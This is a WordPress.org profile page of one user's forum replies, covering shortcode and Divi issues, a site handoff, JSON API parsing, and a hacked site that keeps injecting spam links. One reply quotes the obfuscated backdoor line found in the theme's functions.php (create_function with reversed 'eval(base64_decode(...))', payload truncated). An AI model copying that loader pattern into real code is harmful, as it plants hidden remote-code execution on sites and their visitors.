Title: thumbslinger's Replies | WordPress.org

---

# thumbslinger

  [  ](https://wordpress.org/support/users/thumbslinger/)

 *   [Profile](https://wordpress.org/support/users/thumbslinger/)
 *   [Topics Started](https://wordpress.org/support/users/thumbslinger/topics/)
 *   [Replies Created](https://wordpress.org/support/users/thumbslinger/replies/)
 *   [Reviews Written](https://wordpress.org/support/users/thumbslinger/reviews/)
 *   [Topics Replied To](https://wordpress.org/support/users/thumbslinger/replied-to/)
 *   [Engagements](https://wordpress.org/support/users/thumbslinger/engagements/)
 *   [Favorites](https://wordpress.org/support/users/thumbslinger/favorites/)

 Search replies:

## Forum Replies Created

Viewing 9 replies - 1 through 9 (of 9 total)

 *   Forum: [Plugins](https://wordpress.org/support/forum/plugins-and-hacks/)
    In
   reply to: [[Category Posts Widget] Duplicating Prev Next Post PAGES w/Sidebar](https://wordpress.org/support/topic/duplicating-prev-next-post-pages-w-sidebar-2/)
 *  Thread Starter [thumbslinger](https://wordpress.org/support/users/thumbslinger/)
 * (@thumbslinger)
 * [6 years, 5 months ago](https://wordpress.org/support/topic/duplicating-prev-next-post-pages-w-sidebar-2/#post-12050356)
 * I am defining what the shortcode is supposed to mean in the functions.php so 
   that I can use my custom shortcode in the text.
 * If one wishes a shortcode like [bumblebee] then you have to tell WordPress what[
   bumblbee] is supposed to do so that has to be done in php. Then, you can use [
   bumblebee] in content.
 * My issue is that I want to have the navigation through pages (not just single
   posts) in both areas; beneath the default 10 entries that show and in the sidebar.
 * The theme being used is an older version of Divi and I think that is the issue.
   All the stuff people from Elegant Themes suggested didn’t work either. Making
   a shortcode for a dynamic year in the footer worked fine so it is not the idea
   of making a shortcode, it must be an issue of re declaring a function already
   defined.
 *   Forum: [Fixing WordPress](https://wordpress.org/support/forum/how-to-and-troubleshooting/)
   
   In reply to: [Duplicating Prev Next Post PAGES w/Sidebar](https://wordpress.org/support/topic/duplicating-prev-next-post-pages-w-sidebar/)
 *  Thread Starter [thumbslinger](https://wordpress.org/support/users/thumbslinger/)
 * (@thumbslinger)
 * [6 years, 5 months ago](https://wordpress.org/support/topic/duplicating-prev-next-post-pages-w-sidebar/#post-12047784)
 * Thanks Matteo!
 *   Forum: [Fixing WordPress](https://wordpress.org/support/forum/how-to-and-troubleshooting/)
   
   In reply to: ["xoxo-nude" hyperlink after updating, new db password](https://wordpress.org/support/topic/xoxo-nude-hyperlink-after-updating-new-db-password/)
 *  Thread Starter [thumbslinger](https://wordpress.org/support/users/thumbslinger/)
 * (@thumbslinger)
 * [10 years, 10 months ago](https://wordpress.org/support/topic/xoxo-nude-hyperlink-after-updating-new-db-password/#post-6169136)
 * well, darn it came back yesterday. On the phone with GoDaddy and they admitted
   to not knowing enough about this sort of thing to really help much.
 * The way I got around the immediate problem was by using an attribute selector
   on the a tag:
    a[href^=”[http://naturalchoiceforhomes.com/”%5D](http://naturalchoiceforhomes.com/”%5D),
   a[href^=”[http://aocsf.com/xoxo-nude/”%5D](http://aocsf.com/xoxo-nude/”%5D){ 
   display:none; }
 * However, they mentioned the theme. I know the theme was custom and years old.
 * The theme has a functions.php file that got flagged again after I cleaned it.
   So, the question is now what can edit that functions.php on the fly or how can
   it get added to? The offending line that seems to remove the link when I remove
   it is:
 * “<?php $wp_function_initialize = create_function(‘$a’,strrev(‘;)a$(lave’)); $
   wp_function_initialize(strrev(‘;))”=owOpICcoB3Xu….(very long string here..)yV3X0V2Zg42bpR3YuVnZ”(
   edoced_46esab(lave’));?><?php “
 * I remove that, the link goes away. But, after 24 hours it came back.
 * I’m looking at the access logs for before/after though I don’t really know what
   to look for besides obvious entries.
 * So I guess the next step is to see how the functions.php file is getting altered….
   or maybe replaced with an old version?
 *   Forum: [Fixing WordPress](https://wordpress.org/support/forum/how-to-and-troubleshooting/)
   
   In reply to: ["xoxo-nude" hyperlink after updating, new db password](https://wordpress.org/support/topic/xoxo-nude-hyperlink-after-updating-new-db-password/)
 *  Thread Starter [thumbslinger](https://wordpress.org/support/users/thumbslinger/)
 * (@thumbslinger)
 * [10 years, 10 months ago](https://wordpress.org/support/topic/xoxo-nude-hyperlink-after-updating-new-db-password/#post-6169092)
 * I do not have a file called wp-head.php
 * I installed “Wordfence” and it scanned the site and found a bad line in the template.
   php file.
 * It was at the very top. I removed that line, flushed the cache via the same plugin
   and it has gone away.
 * But, for completeness, were you suggesting to look in that file or is having 
   a file just for the head a good thing to do?
 * Thanks!
 *   Forum: [Fixing WordPress](https://wordpress.org/support/forum/how-to-and-troubleshooting/)
   
   In reply to: ["xoxo-nude" hyperlink after updating, new db password](https://wordpress.org/support/topic/xoxo-nude-hyperlink-after-updating-new-db-password/)
 *  Thread Starter [thumbslinger](https://wordpress.org/support/users/thumbslinger/)
 * (@thumbslinger)
 * [10 years, 10 months ago](https://wordpress.org/support/topic/xoxo-nude-hyperlink-after-updating-new-db-password/#post-6168979)
 * Ok, I’ve checked within WordPress at the appearance > Menu’s and nothing shows
   up there. I also looked over the page template and header template. A few weeks
   ago, the site had the ‘viagra’ link and I ended up having to just use css with
   an attribute selector to hide any ‘a href’ tags with that domain. Not feasible
   to keep adding to or changing a css rule.
 * Anybody have any ideas how to rid the site of this little hack? Or even better,
   what may be causing it?
 *   Forum: [Fixing WordPress](https://wordpress.org/support/forum/how-to-and-troubleshooting/)
   
   In reply to: ["xoxo-nude" hyperlink after updating, new db password](https://wordpress.org/support/topic/xoxo-nude-hyperlink-after-updating-new-db-password/)
 *  Thread Starter [thumbslinger](https://wordpress.org/support/users/thumbslinger/)
 * (@thumbslinger)
 * [10 years, 10 months ago](https://wordpress.org/support/topic/xoxo-nude-hyperlink-after-updating-new-db-password/#post-6168864)
 * Thanks, I’ll look there. It seems to have vanished for some even NOT after clearing
   a browsers cache but other are still seeing it even after clearing the cache.
 * It’s showing in Safari on Macs but not in Firefox or Chrome on windows. Not consistently
   that is. Chrome is a webkit-based browser as Safari so it would seem it’s not
   actually browser related?
 * I don’t have access from my remote location to check the appearance/menu but 
   I will and post back, thanks
 *   Forum: [Everything else WordPress](https://wordpress.org/support/forum/miscellaneous/)
   
   In reply to: [Preparing to handoff a WordPress site](https://wordpress.org/support/topic/preparing-to-handoff-a-wordpress-site/)
 *  Thread Starter [thumbslinger](https://wordpress.org/support/users/thumbslinger/)
 * (@thumbslinger)
 * [11 years, 3 months ago](https://wordpress.org/support/topic/preparing-to-handoff-a-wordpress-site/#post-5665925)
 * To be complete, everything I guessed was right. So if you happen upon this question,
   just dump the sql, dupe the wp_content and that’s all you need after a fresh 
   install of WP.
 *   Forum: [Everything else WordPress](https://wordpress.org/support/forum/miscellaneous/)
   
   In reply to: [Preparing to handoff a WordPress site](https://wordpress.org/support/topic/preparing-to-handoff-a-wordpress-site/)
 *  Thread Starter [thumbslinger](https://wordpress.org/support/users/thumbslinger/)
 * (@thumbslinger)
 * [11 years, 3 months ago](https://wordpress.org/support/topic/preparing-to-handoff-a-wordpress-site/#post-5665776)
 * oh…one note…. after dumping the sql database, I need to remove the actual user/
   password for the database in the wp-config, right? Because a new person will 
   just import that sql file into their own database using their own db url/user/
   password?
 *   Forum: [Plugins](https://wordpress.org/support/forum/plugins-and-hacks/)
    In
   reply to: [[JSON API] Newbie: How to parse the data returned](https://wordpress.org/support/topic/newbie-how-to-parse-the-data-returned/)
 *  Thread Starter [thumbslinger](https://wordpress.org/support/users/thumbslinger/)
 * (@thumbslinger)
 * [12 years, 1 month ago](https://wordpress.org/support/topic/newbie-how-to-parse-the-data-returned/#post-4695157)
 * Update: I’ve made headway with:
    $(document).ready(function(){ $.getJSON(“/wordpress/
   api/get_recent_posts/”,function(result){ $.each(result.posts, function(index){
   console.log(result.posts[index]); $(“.demoarea”).append(result.posts[index].content
   + ” “); }); }); });
 * But, I’d really like to just dump the title and contents but get_recent_posts
   only returns the actual posting/content not the title.

Viewing 9 replies - 1 through 9 (of 9 total)